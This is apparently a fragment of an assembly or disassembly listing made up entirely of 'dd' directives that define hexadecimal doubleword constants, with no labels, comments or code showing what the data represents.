		dd 0FBE601C5h, 17D2B074h, 3EDDE854h, 0F7DC3A00h, 870FA0E3h
		dd 8EB10341h, 8893D8DEh, 2DA9EACBh, 503DF84Fh, 70105700h
		dd 981E747Fh, 15590017h, 562A34BBh, 53F8C5CBh, 264C4900h
		dd 0C11A75A2h, 4F10046h, 2B106DD0h, 91F8D67h, 3D012DADh
		dd 8351B987h, 5760D461h, 7E3EF0DBh, 0D8DA0B45h,	0FFDDD1h
		dd 0C2656FEAh, 0F12F01C7h, 0F5989A67h, 0A657D87Dh, 9CC63601h
		dd 0D8314F60h, 3ECC9DD0h, 0AC00047Bh, 0F68D7E9h, 4F00CDC1h
		dd 0B5B7BA1Ch, 0E8B18Fh, 956EEB86h, 5A4CBBA9h, 50CF2748h
		dd 0C50050EAh, 7BA4142Ah, 0E8E2613h, 30F6D785h,	0C828F020h
		dd 0B628DF19h, 5001F79Dh, 949E312h, 6FFC7075h, 730500B9h
		dd 0D8BF82AFh, 0A03ADA92h, 0F1CD80EEh, 0C233F15h, 5BBC009Dh
		dd 0FC246959h, 391C2143h, 0BA16AA6Dh, 4F207D0Eh, 925400FEh
		dd 1DC5ADEEh, 8935604Ch, 0C004245h, 0CF28A14h, 0CD840E00h
		dd 595E0B04h, 0C28907B0h, 0B073A97Ah, 0F6FBFFD6h, 0C4796405h
		dd 0D480DFA8h, 544012h,	0BA93623Fh, 0E94B286Bh,	0EBEDF300h
		dd 7FB8F2A3h, 0A173F49Bh, 2F70F0BAh, 4D941CD3h,	0FA7DA0h
		dd 0F4E9C4AEh, 0B47D3148h, 783333Fh, 24710F2h, 2C479167h
		dd 0AF7243E0h, 0D0600F0h, 9FD323F6h, 5D07EE03h,	0F530B090h
		dd 167B48A0h, 0A1C73D21h, 3B89F90Eh, 8FA92440h,	1F074E9Bh
		dd 2184AD56h, 0A52B4920h, 12AF8ACh, 1303AFCEh, 9CED0828h
		dd 0F380F7D6h, 3DC3C407h, 0B6F400FDh, 0F21B14CCh, 6A062E52h
		dd 0FAE4D235h, 0C10407F2h, 9B82F88h, 0FEBABA87h, 0A7308480h
		dd 0E624D4E3h, 803E329Ch, 1A86AA0Eh, 1C694B4Fh,	0C0C8BEC6h
		dd 46E87EFEh, 44EC411Ch, 8C73Fh, 0F9C56F50h, 5B2AFB3h
		dd 3662E70h, 0E60980CBh, 0D700914Dh, 5779C43Ah,	0E44885Bh
		dd 0F5867BDDh, 0F2F031A0h, 6C073E75h, 0E69A6D35h, 0B5B69500h
		dd 0DF8300BBh, 34E732C2h, 71CDBEAh, 94C1461Dh, 6B706A4Fh
		dd 73906C8h, 0DA518043h, 0C09BD7F2h, 3F5E44CBh,	0CD7618EEh
		dd 0B868A100h, 867A4892h, 0A57C23h, 65566CEEh, 0E53810ACh
		dd 8178ED00h, 0B4A776DAh, 264600E1h, 0C601871h,	0B800DDAFh
		dd 0EC62A93h, 0CC8F8Ch,	0F3B73C05h, 7FF7B32h, 63FBB100h
		dd 2CA891E0h, 0D1E8BCh,	814C9964h, 8D3BE8DCh, 0DEFB3E03h
		dd 0D86D7CA7h, 6FFB3F5h, 0F4F3F9F6h, 351F384Ch,	7D806C3Bh
		dd 0B3A00624h, 951D24EFh, 0CA64003Fh, 0F40153B4h, 0EE341500h
		dd 0D96B77Bh, 0BE6F0029h, 77C61311h, 8F010B1Eh,	9EC15DD7h
		dd 993014C0h, 45740002h, 3E93ADC5h, 0A801B9D1h,	90FFDFABh
		dd 0D5F89CD8h, 779F003Fh, 0A3CBB06Bh, 0EE057F46h, 0A7317DECh
		dd 8A876887h, 0B074DF83h, 240E45h, 5C9DB11Dh, 0C4950241h
		dd 838CBC05h, 0C03511h,	12D05660h, 1F6D91Bh, 0BBDA6255h
		dd 0A0E9D807h, 667BE60Eh, 516E80F1h, 0D8BD68h, 972BF8B3h
		dd 48B50AFFh, 4600AD90h, 6B1D256Ch, 43EFF2h, 4E268823h
		dd 602129FCh, 0CDC3E21Eh, 521AF8C0h, 0FDFAB65Bh, 0C650DCh
		dd 0E5ED0930h, 9C6FE205h, 0B85B150Fh, 10AD87FDh, 2C6DCBE0h
		dd 607F00A7h, 74074ABBh, 6101B148h, 0A5F38F64h,	0C520D5C3h
		dd 0EADA3A4Bh, 0B7001ED8h, 0C69804EDh, 6D580FA7h, 47007FDDh
		dd 7DD5E0EAh, 3C87C1ABh, 951DFBDBh, 91DC0CEh, 57FE5EF3h
		dd 44B8A300h, 73CADC23h, 0A9B000BDh, 3AAD5CA8h,	5B00A7FFh
		dd 76070127h, 5C84FBD9h, 713335h, 0F856C7ABh, 408FD137h
		dd 872F2C3Ch, 0AAF0759Dh, 87CCA6C0h, 587803F3h,	0E0ED5506h
		dd 0D296A7C0h, 24C38E00h, 7FC1E9EEh, 3AAF00B6h,	0C79B7343h
		dd 51008AA2h, 7D2A6EE7h, 487F37h, 6C866926h, 0C257A395h
		dd 53D5B48h, 2563F2EAh,	4C9C66C0h, 0E531000Eh, 92D41C87h
		dd 7900D366h, 0E04D6CE4h, 3A283811h, 4A875C3Fh,	1488BAE3h
		dd 210FC79Bh, 0C8F286CDh, 7900EF02h, 3F692BDh, 26B72C71h
		dd 0BE6ACAh, 0B648525Eh, 0BA00737Ah, 0B008D1DDh, 277533h
		dd 85DAEA2Fh, 40727D5Ch, 41FC100h, 0F10C2B9Eh, 801800CAh
		dd 8CFE3E61h, 0EB39F49Bh, 30980CEh, 82ED5F6Dh, 34D70304h
		dd 0F2EFD408h, 71C0ABBBh, 5900B438h, 7E82512Ch,	1D913B21h
		dd 9350C3h, 3FA1C867h, 0AF009D2Ah, 37BC1841h, 140194Bh
		dd 7BF72880h, 0FC05C6B5h, 1E0F3F21h, 808390E7h,	787C36F6h
		dd 0B78F003Eh, 0AEA48C72h, 0C11E9414h, 0C500F7A2h, 8B701991h
		dd 9B48000Bh, 2FFFD18h,	0E200103Fh, 4AEC47DFh, 1CD7E1Ch
		dd 0A38115B2h, 0ECB4555Fh, 0E10F29CAh, 60E27054h, 0C9F914C7h
		dd 167E078Bh, 30D26AD4h, 5EBCB99Bh, 3C638900h, 0E2D302CAh
		dd 98870064h, 298A054Eh, 0B9002734h, 13D7C007h,	76771C2h
		dd 8BE2B4F7h, 9EAE1040h, 0BDF89D7Eh, 47D3AC00h,	660E9894h
		dd 39D7008Ah, 1A43C653h, 0B60073E4h, 8F1E5C92h,	15F0FAh
		dd 9C997D70h, 0DFFB25CCh, 12177E00h, 5B33D144h,	0D360002h
		dd 0C240A35Ah, 8C3BB23Ah, 9DB0FC4Eh, 0A2215100h, 0EBCD219h
		dd 0C977006Bh, 0C6D0D62h, 0C6004309h, 375288E5h, 3CBF2D48h
		dd 78804244h, 0F35BCDA5h, 0F026F1BEh, 1A01F1C4h, 3877AF8Bh
		dd 2608C61h, 42DF0095h,	5315048Dh, 0F100F5C5h, 13A127A0h
		dd 0BC4C19h, 9F5B9AFAh,	243D3FC4h, 0FF560D00h, 2883629Dh
		dd 0F18F0E78h, 4800C729h, 39DE5034h, 0B41B1E09h, 44DC0092h
		dd 0ABE9D0h, 0C3D5875Ah, 2ADB492Ch, 7274607Dh, 9A369500h
		dd 66D49776h, 0A1AF0F92h, 0E1808C0Ch, 79C5488Fh, 0FC1F82E6h
		dd 4901935Bh, 0BB6DF735h, 0F6F5F9F8h, 0DAE60070h, 0B6EBE7D7h
		dd 3100EC41h, 8895CDD2h, 1C89A838h, 0C3CF6355h,	5F68E0A0h
		dd 19A61DB8h, 17B45700h, 0E50BA1Bh, 0FC433CFDh,	64F70384h
		dd 0A06BC102h, 3493D0A6h, 0C582F500h, 66969A04h, 75ED0185h
		dd 0E33329C9h, 7898FB88h, 5A008D59h, 0EE26BBEBh, 0CF9550h
		dd 35B90F19h, 319A2E92h, 0CC560300h, 32A74F57h,	9D40015h
		dd 0E745347Bh, 0C0002D1Dh, 43F8D7E0h, 503B24A5h, 1FC4BCCCh
		dd 0A8628356h, 640D1CC5h, 35D300BFh, 99D5791h, 0C5632200h
		dd 0DF205241h, 0D2B80097h, 17D9354h, 271E4B18h,	8580DE75h
		dd 0BBAF7F0Eh, 0FFB100F6h, 6DD19A95h, 0B0090D5h, 7237A167h
		dd 9CE8F18h, 0D4D8FB77h, 0A5464080h, 0D9009909h, 3FFF6F92h
		dd 2D76C7FEh, 0DA61A26Ah, 37073010h, 20E13Dh, 851E8848h
		dd 0B1CB3AFh, 0A5866159h, 0B2EB80FDh, 0F681B0h,	95AD3301h
		dd 0EEA77E7Fh, 66581D00h, 0E450BE8Fh, 86921D2Dh, 59DEA0h
		dd 0AF4FFBAEh, 2902A876h, 3B037C18h, 0EA62E09Dh, 72E32EC3h
		dd 0E27700BFh, 4CBDD2D3h, 7C1DB67Bh, 0D8401F96h, 66C87128h
		dd 797E0040h, 2E23E0F2h, 0EA006FB0h, 22CA2CDCh,	38F45Ah
		dd 3B0EA020h, 88335023h, 0A616730Fh, 0D7C2BD4Dh, 0C08FC901h
		dd 837FEAh, 0EF888B7Dh,	69E1ED3Fh, 0D300DDECh, 1BA351FDh
		dd 0F5136Eh, 7EE2C56Fh,	101FE5F1h, 0D7534E00h, 0D6ED4FF7h
		dd 0CE073CFBh, 0D1A47D00h, 6EF8C5A5h, 0A084EB24h, 3B272603h
		dd 0D094C851h, 0F3FE01C9h, 0EA33BD16h, 31B0F4AAh, 0BBC1CC00h
		dd 0FCD24FABh, 6B5C0045h, 0A1D1FBB2h, 3500D4E1h, 4A1F3EE9h
		dd 7D4E76F2h, 7A840062h
		dd 2233068Dh, 13009D92h, 0DD651114h, 0FCFF1501h, 0D26700BDh
		dd 0DFF1D4CEh, 38009095h, 49F49181h, 4F5B14h, 1D209463h
		dd 3DEA5F02h, 0C26A5D00h, 0A4AAABC7h, 0EFDD171Eh, 57B900F8h
		dd 58121903h, 0FDE3FE00h, 8BEC45A1h, 47B207E1h,	0B077970Eh
		dd 0F4D702ADh, 5100F7E6h, 23A33E25h, 0DD2C0Ch, 8C15AF17h
		dd 0CB2B75BEh, 7F4C9A1Fh, 0EE3D1880h, 4BAB34h, 0CE99B546h
		dd 0B7FFDB83h, 0DEF66E0Fh, 0A345003Ch, 202716Ch, 82E9E3C4h
		dd 0ED4176EAh, 0D14CC1F3h, 40D3DC37h, 48B07B05h, 5480F443h
		dd 35D56Ch, 69183BC4h, 0B05FF84Fh, 0C0364500h, 6D4CBABFh
		dd 8DBB0ECFh, 9F00FFF9h, 62CBD05Dh, 7793C800h, 0A8EA9611h
		dd 43BC0009h, 643EC68Ah, 0C0971FD6h, 2DE9C5Eh, 0DDCC8FB1h
		dd 0EDE053E3h, 64004843h, 47894170h, 1F17DB99h,	1EB54D08h
		dd 10DF8075h, 2F28F8BBh, 78F5F107h, 37E016CDh, 0C229B7h
		dd 6CFFADE8h, 54175B79h, 0C8B02203h, 804AC925h,	21ABBEh
		dd 0F469D507h, 1F913AE1h, 8262BC3Dh, 41D8D9A9h,	458480F6h
		dd 0DDE90Eh, 0D44ADAB6h, 0C2F4D681h, 0D506BD00h, 0F38910DEh
		dd 2DEF0FFEh, 0B9E07AF8h, 0BC3C8BC6h, 0A5D2BD00h, 45E4F676h
		dd 7237015h, 33DB1BB3h,	0C9401048h, 91009AC8h, 0CE781670h
		dd 5C7A20CBh, 672E7C9Dh, 5A570017h, 0B873DA7Dh,	6D4AE300h
		dd 0FCCF9D53h, 0A9DB0044h, 0C8946F65h, 6605C13Eh, 0E3C7B3DAh
		dd 0F06B87AAh, 0AB883661h, 84923900h, 234BBA7h,	68F0F12h
		dd 58607E66h, 0F78003C4h, 9F64AC00h, 0BA71F617h, 9C2C0035h
		dd 0BE848E91h, 0AF01CCA7h, 7A283931h, 0DFD4C344h, 3B4300C1h
		dd 8675585Bh, 1F0029EBh, 73310A5Ah, 0D3B0FAh, 37F656D6h
		dd 5BE0B505h, 5ACB2C00h, 490B0CFCh, 0C147004Fh,	1E5E3D61h
		dd 0CE3FFE64h, 0E7C603CDh, 0E00301C0h, 4F0B34h,	0D395247Bh
		dd 2E63CE09h, 0CC504500h, 4E0CA459h, 53C100F1h,	1F4ABA6Bh
		dd 1E0FB242h, 6731DBA8h, 72603D6Eh, 29C888h, 0E1265112h
		dd 6C17CA0Ah, 6280BF00h, 211B5A1Dh, 0FC3900D9h,	78CD77C9h
		dd 331EB37Ch, 80B94126h, 11F4A6E9h, 30533Eh, 5C8791C0h
		dd 549E40FFh, 3A6D3700h, 0A699E86Fh, 2838003Bh,	7D9D2797h
		dd 9B0094A0h, 0A96FE795h, 2EC098CBh, 9760EFh, 3113917Ch
		dd 30001586h, 0DF364887h, 158EBBAh, 0B2F7941h, 0D5E4072Bh
		dd 0FB76D873h, 3AEF9200h, 0C4A634D9h, 99AE02Ah,	879FE7E4h
		dd 0A0444307h, 9D3C1273h, 4416300h, 8B938EBh, 3EE2003Fh
		dd 6895403Dh, 3A03D9B1h, 0B80DBAE6h, 0E875B3F0h, 0EE5010h
		dd 2CC2BD3Eh, 6E08A09Fh, 8DD27B00h, 58ABE327h, 53E60054h
		dd 6B133F5Ch, 0A9000BE2h, 36636897h, 79E51B35h,	6C3C00F1h
		dd 2C6A6018h, 89001552h, 0CF19571Ah, 74D2E8h, 81DD4A7Fh
		dd 0AB5CAA49h, 7051E438h, 0B87D2F01h, 4C83179Ah, 4C9F76DCh
		dd 980315BFh, 11181454h, 3247E9F0h, 0EE40AC0Fh,	6F5A206Eh
		dd 3EB4B89h, 678BA452h,	87D0987Ch, 4700B93Fh, 3731CD09h
		dd 0B6F6E2h, 0A0F5C01Fh, 498BCC52h, 9C656D3Ch, 0CB012F76h
		dd 309DF9A2h, 88C05DD5h, 0F2E1000Fh, 0BF8945C4h, 7300D84Ch
		dd 0EDA6C034h, 29689Fh,	0B2BAF73Ah, 0E0129A22h,	80EB4700h
		dd 37861165h, 2C9D01E8h, 0F8059504h, 0F73A3061h, 18388BF8h
		dd 480C8E6Bh, 1253C05Ch, 7BD310h, 1FE88C7Fh, 0C271DF5Fh
		dd 19EDD500h, 91519C02h, 10C12E56h, 0CB7900B2h,	74C57E0Dh
		dd 7A7D6903h, 0A006F4F5h, 0E250E6BBh, 0A7E10001h, 74652253h
		dd 6439D79Ch, 0E93880F0h, 9F3755F5h, 0B068012Ch, 0AD3BFA8Bh
		dd 0D587C826h, 82718F01h, 1B1A394Eh, 0BDC2FC5h,	0AD0307FEh
		dd 30CAB5E6h, 0C7EE0CEFh, 0C1E47E1Dh, 0AE409A5Dh, 32125E62h
		dd 0EC27480h, 0E13672CAh, 203EA8E0h, 0D1004301h, 4AA73B11h
		dd 595188h, 0A61CA26Ch,	7EDC7613h, 0D501577Fh, 0C6BD85C2h
		dd 0C9EC1F0Ch, 7A3C0006h, 1A8165AEh, 9C004D37h,	66A39336h
		dd 1E21C409h, 0A87079h,	75F59DA6h, 4F00B77Ch, 0FE7A6986h
		dd 0CE6B2Ch, 0BBC86318h, 79D88B88h, 0C3A1BC00h,	64739446h
		dd 3201121Dh, 0AFF82Fh,	6A0D6F4Ah, 34F9597h, 79F0A134h
		dd 5E803A24h, 0C900E30Ch, 69F6C596h, 1830FAh, 4EB63D51h
		dd 0F421C3BCh, 0B02DDF00h, 337609EDh, 1630005Ch, 0CB1A6956h
		dd 0EF007E88h, 2DDCE3BDh, 3500E93h, 0F81B1832h,	0EDE080B4h
		dd 3500F44Bh, 34380457h, 32DC56Dh, 97D80A08h, 65F8AAE8h
		dd 74009F6Ah, 0AEFD59DFh, 991E6C7h, 8D01C25Dh, 0DBFD480h
		dd 69007681h, 556A80B1h, 0C1B95h, 2EB77DFBh, 6B6677D5h
		dd 0EEA96E00h, 51168C2Dh, 0B6F90043h, 4457FD75h, 0FF0037BBh
		dd 0B1A8618h, 786CE9C3h, 0D14B48CCh, 0B83B1300h, 0D368A227h
		dd 30A45F00h, 18E991E8h, 0C70B01E7h, 0B9C5158Bh, 4F6F20D1h
		dd 5EACCA17h, 0A800D21Dh, 36E26DBFh, 0DEC4004Ah, 0B4055593h
		dd 0BB002E7Eh, 29202F58h, 0EA59A8CEh, 0C6AF0057h, 0E0560E63h
		dd 0A1179FC1h, 70029CBh, 4AF5476Dh, 1CECFD77h, 62A80EC6h
		dd 7E622C19h, 63D4B8BAh, 0A9CCE801h, 85DC0D34h,	0FC540070h
		dd 10E59EE9h, 0A3F8FA24h, 0CECCF912h, 5E585200h, 317E2AAh
		dd 307D6020h, 0A6A8BEC9h, 1200E6B7h, 8F7CF573h,	7B0F5664h
		dd 17EF0036h, 493F1DE5h, 1401E382h, 0DD1AA59h, 0B87055E6h
		dd 731F0F0h, 532DBD94h,	7863A117h, 8D33301Fh, 0D9EF411Ch
		dd 0DE0DC2C0h, 0E33FFDh, 1B7413CCh, 8FAA99C5h, 6985371Dh
		dd 0C4147F07h, 61FB1C70h, 0E0781D88h, 3F828060h, 81EE7075h
		dd 0AA1CD775h, 0B1CFF895h, 63B48002h, 0E00423h,	71AB2F0Ch
		dd 88F583E3h, 40AEF42Ch, 13898E01h, 9FDCC25h, 1D0DE0E0h
		dd 30D60EE8h, 71A0D0C4h, 54EFF900h, 0C8BCFCC9h,	98AD0001h
		dd 691185CBh, 0C31DD6CCh, 8780D1BFh, 0F518EAAEh, 8D3500EEh
		dd 759FC201h, 0BC3AB8F9h, 82CA00DDh, 52F12A31h,	0AF5F0722h
		dd 1081BBFFh, 0F19FD98h, 685DFC00h, 0ECE539D1h,	8DF50158h
		dd 5649C1D9h, 2F98FF07h, 0D5004FEFh, 73FED02Ah,	18758B2h
		dd 0E8E028F3h, 80939811h, 0D43EBE08h, 0C8CEEDh,	56B83ABAh
		dd 7EE1AC57h, 978F0900h, 3C9C84A9h, 0D2D10061h,	76798E9Fh
		dd 0CA00644Bh, 75245040h, 0EE923FE1h, 9823EAA8h, 6EF507F9h
		dd 13E9BD73h, 0D1DFA060h, 0FCEEB020h, 6400141Eh, 0ECA47A39h
		dd 0D8D22Bh, 620EA165h,	0DAE95E1h, 829C4124h, 0AD825900h
		dd 71AC37h, 0E6B66EBEh,	0D18B7999h, 0F94C6700h,	31ABE934h
		dd 0BD26009Ch, 0CE61BC19h, 0A20F182Ch, 0C0D80324h, 80F9099Fh
		dd 2840002Eh, 39890D6Ch, 0CF075966h, 0F1C50754h, 3E092430h
		dd 0F0BA2427h, 356C0069h, 0EBAFBE51h, 0F4C558h,	0A409FA64h
		dd 3FC38B62h, 2000928Eh, 0EEDA75EDh, 0BC00C6FFh, 915CE018h
		dd 368744Ch, 34F8A8D8h,	5390327Ch, 0B6007AAFh, 0F973A605h
		dd 0E3665CBh, 44FFC72Fh, 3C22B080h, 9C01E96Bh, 76B36E2Ah
		dd 0C4D0D40Eh, 5CA90042h, 1C2BC9B7h, 1603AA82h,	32AEFA28h
		dd 0EFB480F6h, 81CE0315h, 0D1CD2E9Fh, 3C1334D8h, 397BD2FEh
		dd 2907E1E0h, 41BD07B5h, 83C09420h, 4CE8B3h, 0DFF9922h
		dd 2D28BFE2h, 0D962EE1Ch, 2B368045h, 798CC780h,	0A5FCD0h
		dd 0C06BC359h, 315D587Bh, 9AB65300h, 102BEEA6h,	85DD00AAh
		dd 8CE222E9h, 7CEE46A8h, 6D009DF4h, 21670BDh, 27F1F0h
		dd 720B29A0h, 0F8201519h
		dd 0EAA57100h, 0ED6E4AB4h, 963948BCh, 0FFCD1B00h, 4D7FDB10h
		dd 8C306200h, 0ECACD675h, 678751Ch, 0E13FE68Eh,	42009838h
		dd 0F04BA7C9h, 94B89Ah,	1DA57BB9h, 0D9EA4F1Ah, 0A2887007h
		dd 0C0BFB33Bh, 51623FBEh, 30EB0034h, 0AB78368Fh, 1A0088A4h
		dd 0C559EDE2h, 505367h,	0B2BB4E9Ch, 0B3AD18A2h,	0C76AF4F9h
		dd 0F520BA00h, 5D8F3FB4h, 763C0037h, 2E56A8BBh,	7F005F9Eh
		dd 3929DB23h, 5D7571h, 5B6E59B7h, 8FE5CCC1h, 0CAFE4100h
		dd 742BA197h, 1EDAB8D6h, 0BAE864A7h, 37EDCA6h, 2CB5FC3Bh
		dd 0ED31B780h, 42710C1Fh, 0D01F4BC3h, 6FBFD0A7h, 50C2009Bh
		dd 88D4C4E5h, 0E100DCFAh, 0A5A4196h, 0FC90764Bh, 262100BEh
		dd 0C7CD106Dh, 934C3E5Dh, 3F17189Ah, 8099E0h, 0DE403B32h
		dd 3879C306h, 0DDB0A500h, 94E82A20h, 0C4840070h, 0CFFFD96Bh
		dd 0F301CD6Fh, 0C78025A4h, 4C88624h, 395300FCh,	4C0E881Ch
		dd 725C50EFh, 3300061h,	76A468DDh, 71BE0026h, 845D09DAh
		dd 3807D239h, 45E9179Ah, 0A05D0FFBh, 0A40883C8h, 0B99806h
		dd 2060FDEFh, 0D54C253Ah, 514E9900h, 8C6C7EB6h,	0F9F0007h
		dd 0B28D20EBh, 1EE8C1C9h, 6FB18000h, 83FED3F5h,	0B5890054h
		dd 25DED54Dh, 0F33DAA7Bh, 72230773h, 0F41C958h,	0CBC0CA90h
		dd 764E074Ah, 0A09A5157h, 606208BEh, 7C8CB700h,	0F6D4826Bh
		dd 0EF9E0176h, 197B21F9h, 0DC95F835h, 0BA250800h, 643D23AAh
		dd 0B36D0078h, 411A9F5Ah, 2B00E570h, 66A68657h,	0E1ED89h
		dd 0C48CA192h, 0E616EA6Fh, 23DEBD24h, 8087590Bh, 8D986DD8h
		dd 6014006Eh, 5EE89016h, 30376A8h, 81368A91h, 1BCBC0B6h
		dd 2E3D00B8h, 31F5B2FAh, 16005074h, 0F980E9DBh,	1C6EADFBh
		dd 0C8B13h, 6927D509h, 54C086BEh, 5D8D47DEh, 76490BD2h
		dd 8900E5C1h, 0E9A34628h, 333EC301h, 0E1BFFFBCh, 931DC06Eh
		dd 0F11DD08Ch, 234FDEC1h, 0E58D804Ch, 3EB7C30Ah, 0D03A9875h
		dd 4F42E600h, 0D36C2D61h, 0CBD1C900h, 0DA1B0C8Fh, 0A6FE030Bh
		dd 2A09E740h, 8598F7E0h, 4BE9490Fh, 77F8200Dh, 71800Ch
		dd 0C0F241A2h, 0CF495B6Ch, 0E204F100h, 23FF1239h, 1CB7007Ah
		dd 0CD4C21A6h, 1001B06Eh, 9BD34FC7h, 5560B5EEh,	366A3F25h
		dd 192410Eh, 58519983h,	35B0C6D8h, 0ABB83Fh, 0B7564E8Ch
		dd 78530E7h, 95A290Dh, 0D5E92069h, 600F7289h, 8012E255h
		dd 4D06D036h, 0D99A00D6h, 0FD731C3Ch, 10041F1h,	0C37DFB0h
		dd 0A53B65h, 0CBAA9D99h, 81C46DF0h, 69120200h, 2A8826BBh
		dd 0F992002Fh, 8ACF3D0Ch, 2E0768D8h, 61AF2CABh,	5E1B010h
		dd 92870098h, 0CB760E35h, 2001036h, 42FF9AF2h, 13729FBh
		dd 0E27A6003h, 0ECC18921h, 0AE73E7F9h, 0AF035775h, 11166805h
		dd 0CE3C88A2h, 43320001h, 4598F58Ah, 79016269h,	11C953BDh
		dd 1830FF61h, 0E6869802h, 0C7DF00C8h, 0E380D562h, 3D2E568Ch
		dd 9B14EF6Bh, 6EAE04A2h, 5781A84Dh, 86209F42h, 17FE47h
		dd 0D83C2F65h, 460D8DDAh, 0FB438800h, 12E61958h, 0B1F5003Fh
		dd 3DC87F25h, 6C003818h, 0B0CEC2A7h, 0F670224Eh, 330C0067h
		dd 68D24AF6h, 3F0078CDh, 28E8CC15h, 1B19C9Dh, 12D34DDDh
		dd 0CBB657BCh, 0D0AA13F0h, 0F6004570h, 0DCEBCBEDh, 6A6FC9h
		dd 9A61A9AFh, 66E565FCh, 0FB291600h, 7310503Eh,	0A1F603ECh
		dd 57A80F28h, 581EB9B0h, 69002078h, 4678B87Eh, 0EE7B77h
		dd 9CE4878Ch, 0C1B1B738h, 0BD01EBF4h, 0C60A29CCh, 0AA47CBDEh
		dd 64A5D750h, 2EE50006h, 0DFFAC936h, 4C009007h,	0B14719C5h
		dd 1C7DE3F4h, 80BF2F1Bh, 0A7A841ABh, 7E124C34h,	4B00A68Bh
		dd 0A11C1F60h, 8D8E006Fh, 7046C104h, 0E004031h,	0F7ECFD4Dh
		dd 3AA7EEh, 3369984Ch, 92507538h, 0DCF78098h, 0C21E39B1h
		dd 0F840FDBCh, 2B12EE6Ch, 0BE00761h, 0B022B453h, 334E1E68h
		dd 0AC4CCF00h, 82E93E64h, 3C861FD2h, 0F540C00Fh, 294D5A63h
		dd 0BF4BF200h, 16046D33h, 2D1E0571h, 0C045D28Ah, 959919B4h
		dd 0E080176Eh, 0F458B057h, 0AF8006Ah, 435B6290h, 0B9EEF50Ch
		dd 56277C00h, 0B53CF1AEh, 0EE8800DEh, 5E049D4Bh, 0F000CCFFh
		dd 57B71F77h, 0B811E3h,	86F32307h, 25D1F26Ah, 9B769800h
		dd 82407F83h, 0F7EB009Fh, 0BD3E91AAh, 0B1FEB086h, 1F371800h
		dd 0A8D1F5BAh, 0D38400A5h, 39590F40h, 0EA00FC29h, 0DBA98F1Ch
		dd 0B3665Fh, 2740B4A8h,	5734C1Fh, 0F500C5E4h, 0E9E5732h
		dd 0DAA1CDh, 85BDD9CAh,	0E446BCC8h, 3707EBEEh, 0BEC341Dh
		dd 7AC77B10h, 0CFFCF4h,	69BF51CBh, 5308877Dh, 7BA20D00h
		dd 677CA8B2h, 271903D6h, 147E961Bh, 0C0892DB9h,	0EF07BC6Bh
		dd 0B94B5B29h, 2BB74040h, 759E00FDh, 0E5059577h, 8E7926D4h
		dd 334CDA00h, 0D62AF7CEh, 43FCFBh, 50A331F9h, 2FA44DBAh
		dd 14644800h, 26E947C5h, 65B41F01h, 7A6B4078h, 0A5210F27h
		dd 0C4487D0Eh, 4004C033h, 50308688h, 0C2A2F4h, 32A17853h
		dd 0BE158CD9h, 7400B97Dh, 761BBF11h, 1295B150h,	4F31CDh
		dd 4E4C0946h, 0E70066D1h, 4DFEBED8h, 0A00E78h, 1CF952B5h
		dd 95CFCEDFh, 0EAFDE100h, 35069F6Ah, 67F800B6h,	4838F790h
		dd 0B700810Fh, 7BD93B52h, 3A626055h, 0C780A50Dh, 113547C3h
		dd 3C008E8Ch, 3156EE38h, 48B6D1h, 1BA77068h, 0F7E27C6Ch
		dd 39836300h, 52DEA094h, 0ED9200BFh, 7385DC7Fh,	68009CC6h
		dd 50C8069Bh, 285C1ACDh, 0FE8F4Eh, 0B73311B9h, 4FF66E99h
		dd 3BA08900h, 8E2FA532h, 0E98017E3h, 3DEC00E0h,	407430E1h
		dd 0D6C8F00h, 3A2FABFAh, 84AF00F7h, 43995ACAh, 0C100780Ah
		dd 3DCC8144h, 1EBE7A17h, 9C07B29Dh, 0A800386Ah,	0A0A6EF1Ah
		dd 79002B98h, 4F77884h,	7BED30D1h, 0FAE7EED7h, 5C020152h
		dd 3D6215AEh, 1A8BE4C8h, 0C3E6EFCh, 24B60097h, 0BC23A0FEh
		dd 26F0338h, 0B55695AFh, 0FE013C0h, 73641200h, 0D4D71488h
		dd 0BDDF019Bh, 2332ED7Ah, 829CC8DDh, 9FEE3C26h,	0BFC16402h
		dd 23005F1Eh, 0ECC9347Dh, 0B9AC8A00h, 97F36AD5h, 0E9DF3FF4h
		dd 0B1933500h, 7D7E244h, 9DA0B71Dh, 0BA1D0F80h,	75889A2Dh
		dd 70490081h, 0EE863119h, 1009645h, 62CDCF20h, 37AE08Ah
		dd 2E8960FBh, 0A8D08537h, 3800BB3Ah, 0A250F0EBh, 4F68DDh
		dd 5405CDDAh, 2EEC29C9h, 0C4A1EF00h, 90751393h,	0D7FD0060h
		dd 0A7A032BDh, 4103E97Dh, 1BB2D9Ah, 47A5F02Ah, 9C961CACh
		dd 0C169C0D6h, 3B8A1C68h, 0F240011Dh, 0E0E4674Eh, 0E1B580B8h
		dd 3FED372Bh, 0F61F4040h, 0F5005018h, 0C7EF9209h, 77E85BF9h
		dd 880D4C3Eh, 0E3B18607h, 0C08825BDh, 6BBA6847h, 8D00D576h
		dd 0EC5558B8h, 58149BBFh, 9A0045DEh, 7606AC05h,	9500C0B9h
		dd 34A90823h, 0FC4AB739h, 8D96015Ah, 0CF67774Dh, 128920F8h
		dd 9C6E4600h, 0DFCB4241h, 96142FE5h, 55001FDCh,	0C4CFEC11h
		dd 546B00DEh, 0B8DF024Ch, 0D005FEBh, 90E9C98Fh,	579C74h
		dd 2FE65BAFh, 81BE30B3h, 54B1F400h, 0A239D24Bh,	8C4C5067h
		dd 0DF3100C4h, 72250B50h, 0CB05B48Fh, 0A62E03A9h, 0C80485C0h
		dd 305E465h, 66B30EE8h,	0B7E828EDh, 2B00CD4Fh, 0BB451417h
		dd 3F4D20E6h, 0FCBCFB3Bh, 9D595480h, 460A9FCBh,	347548h
		dd 85E81C76h, 128CACDh,	7FF8F201h, 0FE172909h, 4826F740h
		dd 0F9D5F12h, 24DA1F00h, 44B255h, 0FCB662A7h, 0B07D1B2Ch
		dd 0AC004BE8h, 0A2A9CFBCh, 0A04136h, 37D29FE1h,	29468CDAh
		dd 2B56B40Eh, 0EF958F82h
		dd 6D4CE0EBh, 0F6D03874h, 53ED0503h, 171E9Ah, 0DA5FF9C4h
		dd 0C6009294h, 0EC7673B9h, 0F6E61Dh, 62830BFDh,	0C9804148h
		dd 3491C5Ch, 0ABEB233Ah, 2FAE887h, 9A782EDEh, 0C9FC00A1h
		dd 660CE554h, 0FE8A9F00h, 62CFB0A1h, 0C7790Bh, 0ABCD3E9Ch
		dd 0BFB36120h, 4DEB3F00h, 0BAAD4ADEh, 6897004Fh, 44DD039Dh
		dd 1A780875h, 0FDA7D000h, 2FDFF5A4h, 63AE1D26h,	0EAFF80D7h
